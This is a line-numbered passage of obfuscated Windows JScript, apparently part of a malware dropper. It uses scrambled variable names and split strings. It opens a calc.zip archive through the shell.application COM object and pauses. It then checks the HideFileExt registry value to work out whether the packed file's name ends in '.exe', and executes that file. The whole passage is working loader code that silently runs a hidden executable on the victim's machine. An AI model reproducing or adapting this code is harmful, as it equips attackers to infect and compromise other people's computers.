| 15 | |
| 16 | SHTAbpslT(oHBtMaENQ,ssGwME+"\\calc.zip"); |
| 17 | function RrKhtiyCTMJ() |
| 18 | { |
| 19 | var ypGfzJySkqp = new ActiveXObject("shell.application"); |
| 20 | var ezDT = new ActiveXObject("WScript.Shell"); |
| 21 | var FYMClSA; |
| 22 | var tnCI = "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\HideFileExt"; |
| 23 | var fAKXYOe = ""+ssGwME+"\\calc.zip"; |
| 24 | FYMClSA = ypGfzJySkqp.NameSpace(fAKXYOe); |
| 25 | var rnEJnQq; |
| 26 | rnEJnQq = FYMClSA.Items(); |
| 27 | WScript.Sleep(5000); |
| 28 | |
| 29 | var XKQzmnz = ezDT.RegRead(tnCI); |
| 30 | if (XKQzmnz < 1) { |
| 31 | PtuzAbVrHF = rnEJnQq.Item(rnEJnQq.Item(0).Name); |
| 32 | }else { |
| 33 | PtuzAbVrHF = rnEJnQq.Item((rnEJnQq.Item(0).Name)+".exe"); |
| 34 | } |
| 35 | PtuzAbVrHF.Verbs().Item(0).DoIt() |
| 36 | } |
| 37 | var cXcRWPRvi = new ActiveXObject("Wscri"+"pt.shell"); |
| 38 | var kFOMYnRac = cXcRWPRvi.ExpandEnvironmentStrings("%TEMP%"); |
| 39 | |